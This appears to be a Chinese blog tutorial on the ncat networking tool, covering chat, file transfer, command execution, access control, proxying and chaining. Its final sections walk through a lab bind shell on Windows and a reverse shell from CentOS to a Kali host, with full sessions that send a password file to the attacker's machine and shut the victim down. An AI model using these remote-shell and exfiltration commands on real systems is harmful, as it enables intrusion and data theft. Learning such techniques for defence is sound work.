简介
官网:Ncat - Netcat for the 21st Century
帮助文档:https://nmap.org/ncat/guide/index.html
windows版安装:安装nmap时自动会安装ncat
linux安装:可通过yum或apt方式安装ncat
ncat与nc(netcat)的区别:
ncat与netcat是不同的开发者,ncat是netcat的增强版;ncat与nmap是同一组织开发维护,有nmap作为更专业的端口扫描工具,ncat取消了端口扫描功能。
用法示例
- 聊天模式
# 服务器端(192.168.0.99): # -l 监听模式 # -k 允许多终端接入,否则只允许一个连接 # -p 666 指定监听端口 ncat -l -k -p 666#客户端: ncat 192.168.0.99 666
服务器发送hello,收到客户端1和客户端2的hello
客户端1:收到服务器发送的hello,自己发送了hello
客户端2:收到服务器发送的hello,自己发送了hello
从上面的示例我们可以得知,多个客户端连接服务器时,服务器发送的消息都可以看到,但客户端发送的消息只有服务器可以看到。
补充:服务器端加入 --broker 参数可以实现客户端发送的消息通过服务器转发给其它客户端,但服务器端本身不会打印出消息内容
- 从文件输入内容
# 服务器端 # 创建测试文件“helloworld.html”,内容为“Hello World” # 启动ncat时从文件输入内容 C:\Users\49285>type helloworld.html Hello World C:\Users\49285> C:\Users\49285>ncat -l -k -p 666 <helloworld.html# 客户端 ncat 192.168.0.99 666
服务器
客户端1:
客户端2:
注意:
服务器从文件输入的内容只能使用一次
服务器不能再输入消息发送给客户端
客户端可以发送消息给服务器
- 命令执行输出
--exec 运行不带 shell 解释的命令。 --sh-exec 通过将字符串传递到系统 shell 来运行命令。 --lua-exec 使用 Ncat 的内置 Lua 解释器运行 Lua 程序。ncat -l --exec "/bin/echo Hello." ncat -l --sh-exec "echo `pwd`" ncat -l --lua-exec hello-luaexec.lua # hello-luaexec.lua内容 --This is a --lua-exec "Hello world" example. In order to send to a client, --all you need to do is output it to the standard output.print("Hello, world!")
协议支持
Ncat 可以使用 TCP、UDP、SCTP、SSL、IPv4、IPv6 以及这些的各种组合。基于 IPv4 的 TCP 是默认设置。
访问控制
# 允许一台主机,拒绝所有其他主机 ncat -l --allow 192.168.0.125 ncat -l --allow 2001:db8::7d ncat -l --allow trusted.example.com# 拒绝一台主机,允许所有其他主机 ncat -l --deny 192.168.0.200 ncat -l --deny 2001:db8::c8# 允许本地网络上的主机,拒绝所有其他主机 ncat -l --allow 192.168.0.0/24 ncat -l --allow 192.168.0.0-255 ncat -l --allow 2001:db8::/32# 允许或拒绝文件中的主机 ncat -l --allowfile trusted-hosts.txt ncat -l --denyfile external-hosts.txt# 配置允许的最大连接数 ncat -l --max-conns 5
代理
# 作为客户端,使用代理服务器 # --proxy-type可以省略;它默认为 http. 如果<proxyport>省略,则默认为所选代理类型的众所周知端口:SOCKS 为 1080,HTTP 为 3128。 ncat --proxy <proxyhost>[:<proxyport>] --proxy-type { http | socks4 | socks5 } <host> [<port>]# 作为代理服务器,提供代理服务,仅支持http代理 ncat -l 3128 --proxy-type http ncat -l 3128 --proxy-type http --proxy-auth <user>:<pass>
文件传输
# 接收者监听,默认监听端口31337 host2$ ncat -l > outputfile host1$ ncat --send-only host2 < inputfile# 发送者监听,默认监听端口31337 host1$ ncat -l --send-only < inputfile host2$ ncat host1 > outputfile# 通过tar传输文件 host2$ ncat -l | tar xzv host1$ tar czv <files> | ncat --send-only host2# 传输磁盘映像 host2$ ncat -l > host1-hda.image host1$ ncat --send-only host2 < /dev/hda # 压缩传输磁盘映像 host2$ ncat -l | bzip2 -d > host1-hda.image host1$ cat /dev/hda | bzip2 | ncat --send-only host2# 当两台主机不能直接通信时,可以通过中转主机(host3)进行文件传输 # 注意,host2(接收主机)必须先于 host1(发送主机)连接到代理,代理不会缓冲接收到的数据以发送到稍后连接的主机。 host3$ ncat -l --broker host2$ ncat host3 > outputfile host1$ ncat --send-only host3 < inputfile
聊天 --chat
多个客户端连接服务器时,每个客户端都和服务器建立一个独立的连接,客户端之间不能彼此发送消息,服务器通过--broker参数可以实现将客户端发送的消息转发给其它客户端,但有多个客户端发送消息时,并不能区分消息是由哪一个用户发送,在服务器端通过--chat参数,可以实现在转发消息时,在消息前面标记出用户id,此用户id是随机生机,不可以指定和保留。
web服务器
# linux系统 ncat -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; echo HelloWorld"# windows系统 ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"
ncats链
# 通过主机2将日志文件从主机1发送到主机3 host3$ ncat -l > log.txt host2$ ncat -l | ncat host3 host1$ ncat --send-only host2 < log.txt# 优化,主机3和主机1可以互相发送消息 host3$ ncat -l > log.txt host2$ ncat -l --sh-exec "ncat host3" host1$ ncat --send-only host2 < log.txt
模拟诊断服务
# 丢弃消息 ncat -l --keep-open 9 --recv-only > /dev/null ncat --udp -l --keep-open 9 --recv-only > /dev/null# 返回收到的消息 ncat -l 7 --keep-open --exec "/bin/cat" ncat -l 7 --keep-open --udp --exec "/bin/cat"# 返回日期时间 ncat -l 13 --keep-open --send-only --exec "/bin/date" ncat -l 13 --keep-open --udp --send-only --exec "/bin/date"
模拟攻击windows主机
攻击者:kali linux(192.168.0.9)
被攻击者:win10(192.168.0.99)
环境配置:关闭 *** 作系统防火墙,安装ncat工具
攻击目标:获取win10主机用户目录下的password.txt文件(文件已经提前准备好)
攻击过程:
# win10客户端执行 # 监听tcp 666端口 C:\Users\49285>type password.txt password C:\Users\49285>ncat -l -k -p 666 -c "cmd" # kali攻击者# 终端1:准备好接收从win10获取的文件 ┌──(kali㉿kali)-[~] └─$ ncat -l -p 777 > password.txt # 终端2 # 连接win10主机,获取cmd执行权限 ┌──(kali㉿kali)-[~] └─$ ncat 192.168.0.99 666 Microsoft Windows [�汾 10.0.18363.592] (c) 2019 Microsoft Corporation����������Ȩ����# 查看password.txt文件内容 C:\Users\49285>type password.txt type password.txt password# 将win10客户端的password.txt文件通过“终端1”传到kali系统本地 C:\Users\49285>ncat 192.168.0.9 777 < password.txt ncat 192.168.0.9 777 < password.txt# 退出远端会话,ctrl + c C:\Users\49285>^C# 确认接收到的文件 ┌──(kali㉿kali)-[~] └─$ cat password.txt password ┌──(kali㉿kali)-[~] └─$
以上就完成了从win10主机上获取机密文件,但存在以下两个问题:
问题1、win10主机作为客户端,网络环境通常是通过nat上网,不能从互联网直接访问;
问题2、windows主机一般默认启用了防火墙,不允许从外面访问本地端口。
针对上述两个问题,我们只需要将监听主机修改为攻击者主机即可,由被攻击者主动连接到攻击者主机,然后实施攻击。在“模拟攻击linux主机”章节进行演示
模拟攻击linux主机
攻击者:kali linux(192.168.0.9)
被攻击者:centos7(192.168.0.8)
环境配置:安装ncat工具
攻击目标:获取centos7主机用户目录下的password.txt文件(文件已经提前准备好)
攻击过程:
# 攻击者,kali linux(192.168.0.9)# 终端1,监听777端口,准备好接收从centos7传送过来的password.txt文件 ┌──(kali㉿kali)-[~] └─$ ncat -l -p 777 > password.txt# 终端2,监听666端口,用于centos7主动连接 ┌──(kali㉿kali)-[~] └─$ ncat -l -p 666# 被攻击者,centos7(192.168.0.8) [root@192 ~]# cat password.txt centos7 password [root@192 ~]# [root@192 ~]# ncat 192.168.0.9 666 -c "bash"# -----------------------以上完成了centos7主机主动连接到kali攻击者----------------------# -----------------------开始实施攻击--------------------------------------------------# centos7连接到kali的666端口后,在kali系统的“终端2”上执行命令,相当于是在centos7主机执行 ┌──(kali㉿kali)-[~] └─$ ncat -l -p 666 # 查看当前目录文件 ls anaconda-ks.cfg install.sh password.txt#查看当前主机ip地址,192.168.0.8为centos7主机的ip地址 ip add 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:09:3d:84 brd ff:ff:ff:ff:ff:ff inet 192.168.0.8/24 brd 192.168.0.255 scope global noprefixroute dynamic ens33 valid_lft 86144sec preferred_lft 86144sec inet6 240e:382:718:4900:ec79:3a3a:a286:d92c/64 scope global noprefixroute dynamic valid_lft 2444sec preferred_lft 2444sec inet6 fe80::f63c:a000:8980:2bf4/64 scope link noprefixroute valid_lft forever preferred_lft forever# 查看password.txt文件内容 cat password.txt centos7 password# 通过“终端2”获取password.txt文件 ncat 192.168.0.9 777 < password.txt# 将centos7远程计算机关机(测试用,实际情况下不会进行此 *** 作) shutdown -h now# 确认获取的password.txt文件内容 ┌──(kali㉿kali)-[~] └─$ cat password.txt centos7 password
以上演示了如何获取linux主机的机密文件,只需要被攻击主机能够访问到攻击者主机即可完成攻击 *** 作。
总结
ncat是一款功能强大而小巧的网络测试工具,也可以作为黑客攻击工具,为避免主机遭受黑客攻击,我们应当安装杀毒工具,到正规网站下载安装软件。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)